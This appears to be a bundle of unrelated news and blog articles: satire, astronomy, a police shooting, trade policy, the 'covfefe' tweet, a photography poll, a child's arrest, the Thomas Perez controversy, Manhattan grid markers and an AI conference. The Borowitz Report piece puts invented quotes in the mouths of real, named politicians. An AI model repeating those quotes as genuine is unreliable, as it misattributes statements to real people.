are you waiting for? Grab your tickets to this totally jerkin’ night. Cat ears optional, but entirely encouraged.  Tickets to JOSIE AND THE PUSSYCATS at the Ace Hotel are on sale now. Get yours here.
-NEW HAMPSHIRE (The Borowitz Report)—With less than two weeks to go until Election Day, there is a deep divide among Republican leaders over whether to emphasize misogyny or racism as the campaign’s closing theme.  In one camp is the Indiana Senate candidate Richard Mourdock, who says that his view that God is sometimes O.K. with rape is “gaining real traction with a key demographic: men who don’t like women very much.”  “I can’t tell you how many misogynists have come up to me at my rallies and said, ‘Thank you for saying what you said,’ ” he told reporters today. “I think they’re like, finally, someone’s taking a more nuanced position on rape.”  But in the other camp is the former New Hampshire governor John Sununu, who worries that the Republican Party’s emphasis on misogyny is threatening to drown out its “winning message of racism.”  “I understand the appeal of Mourdock’s anti-woman theme, but I worry that it’s going to overshadow our core value of racism, which is still our best shot at winning this thing,” he said. “In politics, you’ve got to dance with the one who brung you.”  Hoping to heal a possible rift with so little time left until Election Day, the R.N.C. chairman Reince Priebus said today that there is room for both views in today’s Republican Party: “Our ‘big tent’ message to voters should be this: come for the misogyny, stay for the racism.”  Get the Borowitz Report delivered to your inbox.  Photograph by Michael Conroy/AP.
-If you want your pet black hole to be visible, you must feed it regularly. Only when a black hole gorges on a steady diet of gas or other matter does it shine. The disk of matter that orbits it heats up and emits large amounts of light, especially in X-rays. If you have one of the supermassive black holes at the centers of galaxies, feeding it matter can create one of the brightest objects in the Universe.  But the smaller ones should also be pretty visible. And while astronomers expect and have observed black holes comparable in mass to stars, their numbers are fewer than expected, even after decades of searching. Perhaps, as a new paper suggests, this is because many black holes are hidden by an opaque, donut-shaped disk of matter.  J. M. Corral-Santana and colleagues based this hypothesis on a detailed study of a relatively faint, fluctuating X-ray source in the Milky Way. Their observations in X-ray and visible light revealed the signs of a binary system: an ordinary star in orbit around a black hole, similar to other systems, but with some key differences. For one, the star and black hole were so close together that the orbital period of the system was only 2.8 hours. For another, the matter being drawn off the star was obscuring the black hole when viewed from Earth. The authors hypothesized that many other black holes may be similarly hidden, and future searches should take that possibility into account.  Stellar-mass black holes are the remnants of the cores of stars which exploded in supernovae and are at least 20 times the mass of the Sun. Black holes in this mass range have been discovered in binary systems, where their companion is an ordinary star. The transfer of mass from the companion onto the black hole creates an accretion disk: a hot, rapidly rotating platter that emits a great deal of X-ray light. The first black hole discovered, Cygnus X-1, was found through these emissions.  However, in nearly 50 years of X-ray observations, only about 50 black holes candidates have been known in the Milky Way, of which only 18 are confirmed. None of them exhibit eclipses, where the companion star or accretion disk block the X-ray emission. That's a somewhat surprising result, as it may imply we're only identifying systems we see from a privileged angle, one where our telescopes peer "down" onto the system. Since a bright black hole system that undergoes eclipses was identified in the M33 (Triangulum) galaxy, astronomers know it does happen.  But if the orientation of the binaries was random, we would expect about 1/5 of all systems to exhibit strong eclipses. We've seen nothing like that number, so obviously something is amiss.  The current paper examined a faint X-ray source, Swift J1357.2-093313, discovered by the orbiting Swift observatory in 2011. This object was not obviously a black hole from its X-ray signal, but the authors followed up in visible light using the Isaac Newton and William Herschel Telescopes. They found the telltale signs of an accretion disk: two strong peaks of light representing the portions of the disk moving toward us and away from us. (This is due to the Doppler effect: light emitted from material moving toward the telescope will have a shorter wavelength, while material moving away will have longer wavelength.)  Studying the orbital properties of the system, the researchers concluded that the disk rotates around the binary system's shared center of mass once every 2.8 hours, indicating the star's partner is an object about 3 times the mass of the Sun. That relatively large mass rules out other candidates like white dwarfs or neutron stars. The astronomers also identified strong regular variations in the accretion disk's visible light output, with no corresponding X-ray variation. That indicated ripples in the disk, with matter moving inward toward the black hole.  Together, this data strongly indicated a thick, donut-shaped accretion disk that hides the black hole by keeping most of its X-ray emissions from reaching our telescopes. Since the X-ray signature was so weak, the system could only be seen because it is relatively close to Earth. That means astronomers should pay greater attention to other weak X-ray emitters. But it also indicates that many black holes may be too faint to see or may be obscured by other gas in the galaxy.  Nevertheless, the implication is clear: if other black holes are obscured by their accretion disks, it would explain why astronomers have failed to find more stellar-mass black holes in the galaxy, and it could give us a better idea of how many are truly out there.  And now I want a donut.  Science, 2013. DOI: 10.1126/science.1228222 (About DOIs).
-DOVER, Del. - A police officer-involved shooting in Dover caused tensions to rise Friday afternoon mainly because of where the shooting happened. Witnesses told WBOC that the shooting occurred very close to a daycare center with young children inside.  During a press conference, Police Chief Paul Bernat identified the man who was shot as 21-year-old Terrence Fletcher. Chief Bernat said Fletcher was shot in the thigh by a Dover Police officer following a brief police chase in the area of South Governors Avenue and South New Street. Chief Bernat said Fletcher was armed with a handgun at the time, and that weapon was later recovered. Fletcher was treated at Kent General Hospital with a gunshot wound to the thigh that police described as a "flesh wound." At the time of the news conference, Chief Bernat added that Fletcher was in good condition.  Police say they responded to the area around 1 p.m. Friday after they received a tip of a suspect with a handgun in the area of the 100 block of South New Street, which is near a daycare and its outside playground. When officers arrived on scene, police say they saw the suspect, later identified as Fletcher, as being the person in possession of a firearm. As officers approached him, they say he took off through a narrow alleyway towards Governors Avenue, where other officers were located as a staging area. As Fletcher ran towards the officers on Governors Avenue, that’s when police say a Dover Police officer fired his weapon, striking Fletcher in the upper thigh.  Fletcher was charged with carrying a concealed deadly weapon and possession of a firearm by a prohibited person, according to police. He is being held on $20,000 cash bond.  Chief Bernat said the officer involved in the shooting is a three year veteran of the Dover Police Department and a member of the Street Crimes Unit. Bernat added that the officer, who has not been identified, is on administrative leave with pay pending the outcome of the investigation, which is department protocol.  WBOC on the scene reported a large crowd in the area following the incident. Police officers from Smyrna, Milford, Capitol, and Delaware State Police Departments responded to assist with the crowd. Police say two people were arrested for disorderly conduct and other charges as a result. The majority of the crowd dispersed peacefully a short time later.  WBOC spoke with Dover Mayor Robin Christiansen who said he told people that violence in response to this event will not be tolerated. He added the city is working with the Interdenominational Ministerial Alliance, the leaders of churches in the African-American community, to help calm the community's reaction.  The leaders say they are hosting a meeting Saturday for the community to express concerns and thoughts about violence, jobs, resources and other issues in the neighborhood. The meeting will be held at the Center of Faith church on New St. at 6pm on Saturday Aug. 29.
-South Korea's finance minister on Wednesday said the government will vigorously argue Korea's case should the U.S. make any unreasonable trade demands.  "We will actively promote our stance on any irrational demands from the U.S., and use any rational demands (on trade) to improve our regulations to remove any impediments to the fourth industrial revolution," Yoo Il-ho said in a meeting with ministers in Seoul.  He said the government would strengthen its communications when U.S. President-elect Donald Trump takes office later this month, and will meet with global investors next week in New York to promote the economy.  A U.S. and South Korea free trade agreement came into effect on March 15, 2012. It was hailed at the time as the model for the Trans-Pacific Partnership, which President-elect Donald Trump has sharply criticized as flawed, making approval by the U.S. Congress on an agreement reached this year by leaders and negotiators of the dozen nations involved unlikely.  Follow CNBC International on Twitter and Facebook.
-What is going through the mind of the world’s most powerful man, that is the question we all want answered.  It looks like we might have had an insight into just that this morning with a rather confused tweet.  Girl, 6, begged babysitter to ask her pedophile husband to stop kissing her  Donaldy Trump posted at 5.06am (12.06am in Washington DC) a tweet that said: ‘despite the constant negative covfefe’.  An hour after this was written, it was still live.  We have no evidence to say that he was drunk while tweeting (he always says he’s teetotal), we don’t even know what he wanted to actually say, but some people seem to think that may have been the case.  He could have just been sleep tweeting.  Or it could be Russian…  Despite the constant negative press covfefe — Donald J. Trump (@realDonaldTrump) May 31, 2017  BenDavid Grabinkski messaged to say: ‘OH MY GOD YOU DUMB DRUNK IDIOT. Didn’t they say your lawyers were handling all your tweets now. We’re minutes away from “I’m not fat!” or “I’m not lonely!” tweets aren’t we.  To view this video please enable JavaScript, and consider upgrading to a web browser that supports HTML5 video  ’13 minutes and the tweet is still up. Are you barricaded in your room with several bags of McDonalds and self-loathing.’  Advertisement  Advertisement  He then goes on to ask ‘at what point are you going to accidentally tweet a pornhub link with golden showers?’  Andy Juett asks: ‘I mean. This is some good shit right here. We’re at 15 minutes. How long til ANYONE on his staff has the balls to knock on his door in bed?’  We're having fun with #covfefe and poor Trump is asleep with his iPhone stuck to the side of his face. — Travis Keys (@thewritetbkeys) May 31, 2017  The Pope to Trump: "Do you have any sins you would like to #covfefe?" pic.twitter.com/Q38m64UqWo — Lisa❄️ (@lisadw323) May 31, 2017  Here’s a screengrab of the tweet in case it gets taken down.
-Over the years I’ve used polls on the PFRE blog to better understand and illustrate the trends that are going in real estate photography. The poll I have on the PFRE poll page on photo-editing is very old (8/2007). And although it’s been up for almost 5 years the results are fuzzy because practices have changed substantially over the time it’s been up. Also, the questions are too simplistic to reflect all the options in post-processing out there today. For this reason I’ve created the four different polls on the subject of post-processing below.  My perception is there is a shift going on away from using just Photoshop to using Lightroom plus a collection of plug-ins that help you do things that Lightroom doesn’t do. Of course there are still things like sky replacement that Lightroom can’t do. But over the last several years Photoshop Elements has increased in functionality so it can many, but not all of what full Photoshop can do. My perception is that many real estate photographers are not choosing to purchase the full version of Photoshop any more.  The results of these polls always amaze me because it is a way of tapping into the collective wisdom of all the readers as a whole. One can easily get a false impression of what’s going from the comments of a vocal few or talking to a handful of readers but polls give a much broader and accurate look at the collective wisdom of a large group. Even though not everyone takes the polls, over time the number that do take the polls make the results statistically significant. The polls are just below. Thanks for your participation.
-I got into a few fights as a kid. I saw many, many more. Kids fight. It’s part of growing up. I don’t recall a single incident in which the school, a parent, or any other adult decided it was necessary to get the police involved. And I’d imagine that if anyone had tried, unless some kid had been severely injured, our local police would have thought better of turning kids’ fisticuffs into a criminal incident.  But we’re living in an age in which we use the criminal justice system to address a multitude of problems once handled by parents, schools, religious institutions, and communities. And so we get stories like the one currently inspiring outrage in Portland, in which police came to the home of a nine-year-old girl, arrested her, handcuffed her and carted her off to booking because of her alleged involvement in a fight at a Boys & Girls Club six days earlier.*  The accusations against the girl really deserve a point-by-point response. From the Oregonian.  Harris’ 9-year-old daughter, witnesses told police, got in the middle of a dispute between two other girls who had been arguing because one told on the other in school earlier in the day for drawing on a desk.  Kid sometimes draw on desks. Other kids will sometimes tell on those kids. That can lead to altercations. These kids were nine.  The 9-year-old ended up in a fistfight with one of the other girls outside the club, according to a police report. A staff member broke the fight up, but said Harris’ daughter continued to try to strike and kick the other girl before they were separated in different rooms.  These would be serious accusations if the girl was, say, 25 and armed. But she was unarmed. And she was nine.  Both girls apologized to each other. Staff members found no obvious injuries on any of the girls, they told police.  It isn’t surprising that the girls weren’t able to seriously injure one another. (The unarrested girl apparently had a bruised cheek.) Because they were nine.  The 9-year-old was sent home and suspended from the club for one week.  That seems like a reasonable punishment, given that the girl was nine.  But later that day, the mother of one of the girls called Portland police to report the fight. The mother accused Harris’ daughter of striking her child in the face and bashing her head against a brick wall, and told police she wanted an arrest made.  An appropriate police response here might have been to talk to the parents of the offending girl. Perhaps they talk to the club. But they also should have told the angry parent that they aren’t going to arrest a kid who is just nine years old based on secondhand information about a fight that resulted in no injuries. Because she’s nine.  Portland Officers David McCarthy and Officer Matthew Huspek returned to the Harris home six days later on May 2 to question the girl. McCarthy wrote in his report that the 9-year-old gave “vague answers” and appeared to get angry when pressed for more details.  Cops had just shown up at her house to interrogate her. She was nine years old at the time. They were surprised that she seemed upset? Or that she gave “vague” answers?  “I observed (her) breathing speed up, she looked down at the ground … crossed her arms and would eventually answer my questions,” McCarthy wrote.  Her breathing sped up? As she faced accusatory questioning from cops who had come to her home? She was nine.  Finding the 9-year-old’s statements “inconsistent” with witnesses who described her as the aggressor, the officers took her into custody, accusing her of fourth-degree assault, the police report said.  Reminder: She was nine years old.  “Officer Huspek and I handcuffed (her) and no inventory was performed due to the tight clothing (the girl) wore,” McCarthy wrote.  Of course they handcuffed her. Officer safety and all. You can’t be too careful with a nine year old.  Harris said the officers aggressively questioned her daughter. “They repeatedly asked her, ‘Why don’t you tell me what really happened?'”  Because she’s nine.  When they led her daughter to the patrol car, Harris asked to go with them, but said the officers wouldn’t let her. They did offer to drive the 9-year-old girl back home after she was fingerprinted and photographed.  I mean, I really don’t want to believe this actually happened. The poor kid was nine years old.  The girl was photographed and fingerprinted on the 12th floor of the Justice Center at the police Forensic Service Division and held in a holding area for just over an hour until her mother arrived.  A nine-year-old was cuffed, photographed, and fingerprinted. For a fight with a friend of about the same age. A nine-year-old.  A year later, Harris said, her daughter “is a different child.” The girl, now 10, had been a talented and gifted student at Rosa Parks Elementary, but transferred in October to another school because of teasing and has been in counseling since June, Harris said. The district attorney’s office never brought charges against the girl, and Harris filed a complaint.  The arrest probably derailed the kid’s life. Hopefully not permanently. I wonder if the complaining parent feels satisfied that justice was done, here — to this nine-year-old.  The Independent Police Review Division, under oversight of Portland’s auditor, found officers violated no Police Bureau policies, and forwarded the complaint to the officers’ supervisors at North Precinct for a “service improvement opportunity,” essentially a debriefing.  Just to reiterate, here, the Portland Police Department has no policy against arresting, cuffing, booking, and dumping into a holding area a nine-year-old accused of fighting with another nine-year-old.  Police spokesman Sgt. Pete Simpson said officers use handcuffs as a safeguard, and acted according to bureau policy.  Officer safety is paramount. There are no exceptions for nine-year-olds. She’s lucky she wasn’t tasered.  The policy (PPB Directive 640.70) says juveniles taken into custody for any felony or Class A misdemeanor “shall” be fingerprinted and photographed at the forensics division, while juveniles taken into custody for Class B and C misdemeanors “may” be fingerprinted and photographed. It makes no age distinctions. Police consider those under age 18 as juveniles. Fourth-degree assault is a Class A misdemeanor.  When it comes to the rigid adherence to procedure, there is no difference between a 17-year-old and a nine-year-old. There will be no exercise of officer discretion, good judgment, or common sense when it comes to nine-year-olds. Or, presumably, seven-year-olds. Or five-year-olds. All are juveniles.  I’m not trying to be flip here. It’s just that there isn’t much else to say. We arrest nine-year-olds now. For scuffling with other kids. And then we point to policies, procedures, and rulebooks when someone quite correctly asks what the hell is going on. The utter insanity of all of this ought to be self-evident. But one more time: She was nine.  (*This post has been corrected. It initially stated that the police responded on the same day.)
-Looking for news you can trust?  Subscribe to our free newsletters.  Republicans are expected to fiercely oppose President Barack Obama’s nomination of Thomas Perez, the assistant attorney general for civil rights and one of the more prominent progressives in his administration, to head the Labor Department. Already, Perez’s GOP foes have accused him of corruption concerning a deal he helped forge in the Justice Department. This agreement prevented an unusual Minnesota housing discrimination case from going to the Supreme Court, and the full backstory—which Perez’s critics haven’t acknowledged—is a bizarre tale of legal complexities in which landlords tried to use a major civil rights law to protect themselves from city regulations meant to improve living conditions for low-income residents.  It all began in the early 2000s, when the city of St. Paul—after finding that many homes in low-income neighborhoods lacked heat or locks on the doors—kicked off an aggressive campaign of housing code enforcement. A group of landlords retaliated, brandishing an unexpected weapon: the 1968 Fair Housing Act. This law bars practices that adversely affect minorities, whether those practices were designed to discriminate or not—a legal standard known as disparate impact. The landlords alleged that the city’s actions would force them out of business and harm their minority tenants whose access to affordable housing would be affected. The landlords were essentially arguing that by aggressively enforcing basic housing standards St. Paul was discriminating against low-income minorities, hoping to replace them with wealthier homeowners.  Much of the evidence in the case did not cast the landlords in the most sympathetic light. A police report described one landlord, Frank Steinhauser, threatening to evict one of his tenants, a mother of two children, for taking him to court because the residence he rented her had rotten floors, no heat, and so many rats she had unsuccessfully tried using duct tape to seal off the rat holes in the walls. (At one point, one tenant in the building found a rat in the bed where her two-year-old child slept.) According to this police report, Steinhauser told the woman (whose name was redacted), “Why are you doing this you black bitch? Why do you have the state on my ass? Bitch you’re gonna to lose in fucking court. You’re going to be out on the street.” Several years later, in 2008, Steinhauser was one of the landlords suing St. Paul for enforcing the housing code and supposedly discriminating against their tenants on the basis of race. After St. Paul lost in federal court, the city appealed to the Supreme Court, which agreed to hear the case. (There was originally more than one lawsuit over the same issue; they were ultimately linked together.)  “Why are you doing this you black bitch? Why do you have the state on my ass? Bitch you’re going to lose in fucking court. You’re going to be out on the street.”  For civil rights advocates, who supported using the Fair Housing Act to protect minorities from real discrimination, this case posed a dilemma. It looked to many of them as if a group of landlords was cynically embracing a landmark civil rights law in order to keep exploiting their minority tenants. Conversely, conservatives could argue that poor minorities in this case would be protected by weakening a civil rights law which conservatives have long opposed (the American Bankers Association also weighed in against the law as currently enforced). It was complicated.  Civil rights groups filed briefs in support of preserving the legal concept of disparate impact, without backing the landlords’ claims that St. Paul’s housing enforcement actions had been discriminatory. “There was a fair amount of nose-holding about this,” says one longtime civil rights attorney, who adds that it looked as if the landlords were arguing for a “fundamental right under the Fair Housing Act to put minorities in crappy housing.” Civil rights advocates were worried that if this case reached the Supreme Court, Chief Justice John Roberts, who as part of the Reagan Justice Department in the early 1980s had opposed using a disparate impact standard to enforcing the Voting Rights Act, would have another chance to unravel another hard-won civil rights law.  Enter Thomas Perez. According to the Justice Department, in December 2011, Perez, worried that the St. Paul’s lawsuit could undermine the Fair Housing Act, reached out to attorneys for the city, who could win their case but end up undercutting this major civil rights law. Those lawyers were worried, too. “We were very concerned about the collateral damage we were going to cause if we won, ” says one St. Paul city official familiar with the case. “This case was an anomaly where these landlords tried to use civil rights law to their benefit.”  At this time, the city was facing another pending lawsuit. A St. Paul resident named Fredrick Newell had spent years doggedly compiling evidence that St. Paul had not complied with its obligation to use more than $180 million in federal money to help lower-income residents acquire jobs and city contracts. Newell sued in 2009 under the False Claims Act, alleging that St. Paul knew for years it hadn’t been meet its federal obligations. Because of the particulars of Newell’s case and the way the False Claims Act is written, without Justice Department intervention Newell’s case would collapse.  In talks with Perez, St. Paul’s attorneys proposed a trade. They would withdraw their request to the Supreme Court to hear the Fair Housing case, and in exchange the Justice Department would agree not to intervene in Newell’s case. Republicans have accused Perez of offering the deal, and they have likened this to bribery, but the St. Paul city official tells Mother Jones that the city does not dispute the Justice Department account that St. Paul tendered the offer first.  Shortly after a December 2011 meeting with St. Paul officials, according to a response sent by the Department of Justice to Republican legislators, Perez consulted with the ethics officer in the civil rights division to ensure that the deal, if made, wouldn’t violate any conflict-of-interest rules. Next, Perez asked the Professional Responsibility Advisory Office whether the deal would be kosher. Perez was told that it was okay, as long as the person at the head of the department’s civil division, which has authority over False Claims Act cases, blessed the arrangement.  According to the Department of Justice, the lead expert on the False Claims Act in the civil division, a career attorney named Michael Hertz, later recommended against joining the Newell case, even though federal attorneys in Minnesota had originally wanted to intervene. Tony West, then the head of the civil division, signed the memo declining to get involved in the Newell case, which noted the deal with St. Paul. As a result the city withdrew its appeal to the Supreme Court, and the Newell case was dismissed by a judge. The city didn’t get off scot-free: Based on the allegations in Newell’s case, St. Paul entered into an agreement with Housing and Urban Development in 2010 to monitor their compliance with the grant requirements. St. Paul officials say the city has met all its obligations under the agreement and HUD says they have no evidence to the contrary. Newell, however, was upset about being cut out of the deal after all his hard work documenting St. Paul’s not complying with its grant obligations, and is currently appealing the decision.  The deal Perez helped cut likely prevented a landmark civil rights law from being struck down by the Roberts court. Perez’s civil rights division later used this law to secure record financial settlements against banks that discriminated against minority borrowers during the financial crisis. And Republicans were very angry about it.  The St. Paul deal is now the focus of an investigation by congressional Republicans, who allege that Perez behaved improperly. In September 2012, congressional Republicans sent a letter to Attorney General Eric Holder alleging that the Justice Department had engaged in a “quid pro quo” and had “bargained away a valid case of fraud against American taxpayers in order to shield a questionable legal theory from Supreme Court scrutiny in order to keep on using it.” The letter was signed by, among others, Sen. Chuck Grassley (R-Iowa), the ranking member on the judiciary committee. Rep. Darrell Issa (R-Calif.), chairman of the House government oversight committee, has accused Perez of having “paid a $180 million bribe” to the city of St. Paul in exchange for withdrawing their request to the Supreme Court.  Based on the information publicly available, the allegations that Perez behaved unethically or corruptly don’t withstand scrutiny.  “They’re making, in my view, rather outrageous, essentially defamatory allegations against Perez, and I don’t see what their support is,” says Kathleen Clark, a professor at Washington University School of Law and an expert in legal ethics. “They are attempting to recharacterize a policy disagreement about two cases into something unethical.” Moreover, while conservatives are entitled to the opinion disparate impact is a “dubious legal theory,” courts have upheld its use under the Fair Housing Act for decades.  Republicans have accused Perez of overruling the career attorneys in Minnesota who wanted to pursue the False Claims Act case. But according to the Justice Department, it was the civil division’s top legal expert on the False Claims Act who believed the case wasn’t worth following through on. Despite the heavy implication of corruption in the language used by GOP legislators, when Mother Jones asked whether Perez had violated any specific ethics rules, a GOP Senate aide said that Grassley “is not focusing specifically on a Justice Department ethics rule, but instead is focusing on whether the quid pro quo decision was in the best interest of the American taxpayers as a matter of policy.”  Because both the civil rights division and the civil division represent the same client, the United States, Clark says it’s entirely ethical for officials in these divisions to decide not to pursue a case due to competing priorities. For example, a homeowner can sue a neighbor for accidentally crashing a car into his home. But he might opt not to, because he wants to preserve his friendship with that neighbor. Just because the Justice Department can sue doesn’t mean it has to sue. “When cases settle, there generally are quids pro quo. That’s what happens with any negotiation—quids pro quo are not necessarily corrupt,” Clark says. “It just looks to me like these members of Congress are alleging ethical misconduct based on their policy disagreement with the Justice Department.”  If Republicans block Perez over his actions in the St. Paul case, it won’t be because of corruption or ethics. It will be because he rescued a civil rights law they oppose from almost certain death at the hands of the Roberts court.
-On an overcast day in November, 2014, just before Thanksgiving, two men dug a rather large hole in a lawn in Central Park. They started at seven-thirty in the morning, and by midday the hole was big enough for them both to stand in. As they dug, they filtered excavated soil through a screen. They found eighteenth- and nineteenth-century Chinese porcelain, blue earthenware fragments, and the rim of a pearlware teacup, as well as the stem of a clay pipe and brown, olive, aqua, and purple glass shards. And they unearthed a roughly three-foot-tall, nine-inch-square white stone, two sides of which were inscribed with numbers. The ceramic and glass remnants were unexceptional, but the white stone was anything but. It was a discovery akin to finding a marble statue submerged in a remote lake or a lamppost in the wild woods of Narnia. Hundreds of stones like this one were fastidiously implanted across the island two centuries ago, but not a single one seemed to have survived, in its original position, amid the construction and endless reconstruction of New York City. The stones were set at the intersection of every street and avenue to chart the bold nineteenth-century plan that gave Manhattan its great grid. The carved marble sign in Central Park marks an intersection that never came to be, one of many spliced out of the grand plan when city residents demanded an antidote to the grid. Central Park has long kept its grid memory secret. But in little more than a year since that November morning, three more marble street monuments have been discovered in the curvaceous green core of the island. A map of the City of New York, from 1811. Photograph by The New-York Historical Society / Getty Photograph by The New-York Historical Society / Getty  In 1807 the Common Council asked the state to appoint three commissioners to plan the city’s development. (The aldermen were hoping to avoid the disagreements and political reversals that occurred at the local level; and they did maintain some say by recommending three men who should serve as the commissioners.) They hired a young Albany native named John Randel, Jr., to survey the island and draft the 1811 Commissioners’ Plan, an eight-foot-long blueprint for the grid, which was to run from North (now Houston) Street to 155th Street. After Randel handed it in, the Common Council hired the exacting surveyor to inscribe the grid in the rural landscape. Randel resurveyed the island with instruments of his own invention, placing wooden stakes or pegs at every one of the more than fifteen hundred planned intersections. Once done with that task, he and the bane of his meticulous existence—his unruly, ever-shifting, drink-loving crew—set about replacing the pegs with less easily vandalized or purloined markers. At some fifteen hundred and fifty intersections, according to Randel’s notes, the men set “monumental stones”; at nearly a hundred others, where they encountered bedrock or boulder, they placed iron bolts. The process took until 1817, with the men carrying or carting monuments to intersections, often working up one avenue and then down another. Sometimes they tried to avoid lugging the heavy stones: “This delay has much the appearance of a determination to get here too late to carry monuments,” Randel wrote in one of his field books. He, too, found the monuments, which were much more expensive to buy, carve, and install than he had anticipated, to be a burden. And although the hefty, largely interred stones were challenging to remove, landowners still occasionally uprooted them. As the city extended up the island, the monuments and bolts seem to have become rubble, dug up and discarded as the terrain was transformed. The sole documented marble monument, for more than a century, from a corner of Fourth Avenue and Twenty-sixth Street, survives in the collection of the New-York Historical Society. Construction workers unearthed it in 1890 and it was, for a time, on view in Madison Square Garden. Not too long ago, the Historical Society discovered a second monument in its collection, from Second Avenue and Ninety-second Street. For many years it lay partially buried in the Society’s garden. It was excavated in 2006, mistakenly catalogued as a milestone, and transferred to a warehouse in New Jersey. One well-known bolt endures, embedded in a low rise of gray schist in the park’s southern section. It was discovered and confirmed to be in the right location, in 2004, by Reuben Rose-Redwood, a geographer at the University of Victoria, and Lemuel Morrison, then of Mercator Land Surveying, who hunted for Randel bolts throughout Central Park when Rose-Redwood was conducting research on the 1811 plan for his master’s thesis. “We never looked for monuments,” Morrison said. “We just presumed they were all gone.” As have most people who search for, or are intrigued by, survey markers and a landscape view of New York City history.  The archeologists who excavated the monumental stone that November morning—James Lee of Hunter Research, a Trenton, New Jersey-based company, and Matthew Pihokker, formerly of the same—had been hired the year before by the Central Park Conservancy to study the northern stretch of Central Park following the restoration of the six-acre Fort Landscape, rocky heights where Fort Fish, Fort Clinton, and Nutter’s Battery once stood. They excavated a gatehouse at McGowan’s Pass and found evidence of other defenses hastily built during the War of 1812. They uncovered traces of the Kingsbridge Road, which wound north up the island on its way toward Albany and Boston. One spring day during that project, the president and principal archeologist of the company, Richard Hunter, was strolling to meet his team in the field when he saw a flat white stone embedded in a lawn. The team had with them printouts of several of Randel’s farm maps—a set of ninety-two beautiful, topographically accurate, large-scale maps that the surveyor drafted for the city between 1818 and 1820—which they frequently consulted. One showed the notation “mon,” Randel’s shorthand for marble monument, seemingly near where the flat white stone sat. Although intrigued, the crew was focussed on the Fort Landscape, not on the grid, and returned to their investigation of the northern park. And perhaps the flat white stone Hunter saw that May day would have remained unrevealed, were it not for Richard Garland, a retired software engineer and history maven who regularly runs and walks in Central Park, scanning the landscape with the hawk eyes of a surveyor. After hearing a talk at the Museum of the City of New York, in September, 2014, about the archeological finds in the Fort Landscape, Garland e-mailed Hunter asking if the crew had seen anything resembling a bolt or monument. Hunter recalled the flat white stone, although in his memory it was two to three inches on a side. Garland quickly visited the stone. It seemed to be eight-and-a-half inches to a side, which he identified as the dimension of the monument in the Historical Society’s collection. Garland contacted Morrison—the two had sought Randel survey markers before, in Highbridge Park and Riverside Park—and Morrison toted his G.P.S. equipment to the spot, took readings, and checked them against maps in his office. The stone’s coördinates were within one foot of the expected position: a match for a Randel marker. Garland then catalyzed the official quest by letting Hunter know about Morrison’s measures. Hunter contacted the Central Park Conservancy. A month later, the archeological excavation revealed the flat white stone to be the city’s only known in situ grid monument. A new archeological mission arose for the Conservancy. “We needed to be thorough and look for other ones,” Marie Warsh, director of preservation planning, said. Warsh requested high-resolution copies of the Randel farm maps from the Manhattan Borough President’s Office, where the colorful maps are kept, and had them overlaid on a high-resolution map of Central Park. Last July, she led a small expedition to hunt for more monuments, starting in the northern end of the park. Warsh, a historian with a wonderful wry sense of humor, can read the park’s design history in its rocks and slopes, its soils and vegetation. She reasoned that the area in and around the North Woods had been less highly engineered, partly because the park commissioners had largely run out of money by the time that work there began, in 1863, and partly because surveyors’ notes show that they admired the wild natural topography. “My theory is that they were really enchanted with the northern part of the park,” Warsh said. “It was a kind of template of what they wanted the park to be.” Within minutes of checking their first invisible intersection of the day, Warsh, James Lee, and Evan Mydlowski, also of Hunter Research, found another monument, this one of brownish stone. A feeling of glee seized the group, which I joined on the excursion: the park must be filled with Randel monuments! After several hours hunting on slopes, in thorny thickets, and in beds of poison ivy, the team lost some conviction. (Their woes were those of many who have surveyed the park: “Trouble was experienced with the poisonous ivy, which occurs abundantly in the brush; one member of the party was so badly poisoned with it, as to be confined to his room for a fortnight,” a Central Park surveyor wrote, in 1857.) The summer foliage was too thick to permit accurate G.P.S. readings. “Maybe we should come back in the fall, when the leaves are down?” Lee suggested. The group set aside four days in December to walk from one invisible intersection to another—there were eleven they wanted to check—and I accompanied them most of the days. “I have the sense of city blocks being much shorter when I walk in the park,” Warsh remarked, as they searched along the streets and avenues held at bay by the park’s wall. Just feet from a spot they had searched in July—in an area that seems so “untouched it feels old world,” Lee said—they found another monument under a thick coat of leaves, bringing the total to three. A few hours later, they caught sight of a fourth. The following day, an iron bolt, partially destroyed, but clearly set in a bed of lead, as Randel’s bolts were, surfaced in The Ramble, where, just up a nearby hill, a great horned owl had settled in the barren trees.
-Researchers at the Canadian Conference on Artificial Intelligence in Edmonton this week envision a day when robots will be a mainstay in our homes and workplaces — doing daily tasks like cooking, cleaning and even keeping us company.  ​The AI conference, held at the University of Alberta's Lister Centre, is expected to draw hundreds of academics and industry leaders to Edmonton between May 16 and 19.  "We want computers to be able to be smarter and to be able to understand [a] question, that's the first step," explained Greg Kondrak, a computer science professor at the the University of Alberta.  Upon hearing a question, the smart computer would scan the internet for accurate results and "formulate the answer in a way that we kind of expect from other people."  Kondrak's area of expertise is natural language processing. The technology will enable computers to communicate with people in plain speech and be an alternative to texting and writing emails, he said.  University of Alberta computer science professor Greg Kondrak thinks robots could be good companions for people living alone. Kondrak believes AI and robotics researchers are making progress on programs that can give "acceptable answers to people talking to them."  "I think people are the most comfortable communicating using the language that they know — the human language," he said.  The future of robotics  Malek Mouhoub, a conference co-chair and head of the computer science department at the University of Regina, said AI is gaining importance in certain industries, such as health care.  "Robots can be very precise when conducting surgery," he said. "Also, robots can conduct many surgeries with the same precision while the human being, after a certain time ... might lose precision."  New technologies aren't without their critics, however. From job losses to invasion of privacy, the fear that machines will take over the world while Big Brother monitors our every move isn't all that far-fetched.  "This is a very hot topic," Mouhoub said. "Many researchers are currently working on robust techniques in order to ensure that data are safe and not hacked or stolen for other purposes."  AI conference co-chair Malek Mouhoub says the health-care industry is benefiting from robotic technology. He also thinks artificial intelligence will improve society and create different kinds of work.  "The type of job will shift into jobs for skilled workers. I don't really see losing jobs," he said.  "We need people to maintain these robots — if the robot is broken or something — in addition to those people who write programs to control robots."  Kondrak said robots can also help sick people, seniors and anyone just looking for companionship.  "We know that having a pet is a very good thing for a person who lives alone," Kondrak said.  "And I think these kinds of robots, [if] they are able to process general human language, can provide a better experience than a pet," he added.  "You can talk to your cat but the cat does not talk back to you."  Kondrak believes what is considered "intelligent" has changed over the years. There was a time, for example, when a computer beating a master chess player was impressive.  "Nowadays people kind of expect more," he said. "As we keep achieving those goals, people set the bar higher and higher."  He said people now see creating something unique, like a poem, as a sign of intelligence.
